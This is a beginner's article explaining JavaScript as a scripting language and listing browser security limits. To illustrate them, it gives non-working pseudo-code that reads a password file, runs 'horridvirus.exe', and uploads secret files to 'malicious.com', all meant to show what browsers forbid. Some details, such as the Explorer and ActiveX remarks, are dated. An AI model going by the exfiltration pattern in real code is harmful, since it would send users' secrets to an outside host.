The following Javascript cannot do...

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

   filesystem.read('/my/password/file');
   filesystem.write('horridvirus.exe');

   
   
2. 
   
   JavaScript cannot execute any other programs. This would also be unacceptable
   
   

   execute('horridvirus.exe')
   

   
   
3. 
   
   JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
   
   

   var security_hazard = connection.open('malicious.com');
   security_hazard.upload(filesystem.read('/my/password/file'));
   security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
   

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.

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Tags: javascript, programming language, scripting language, browser, browser support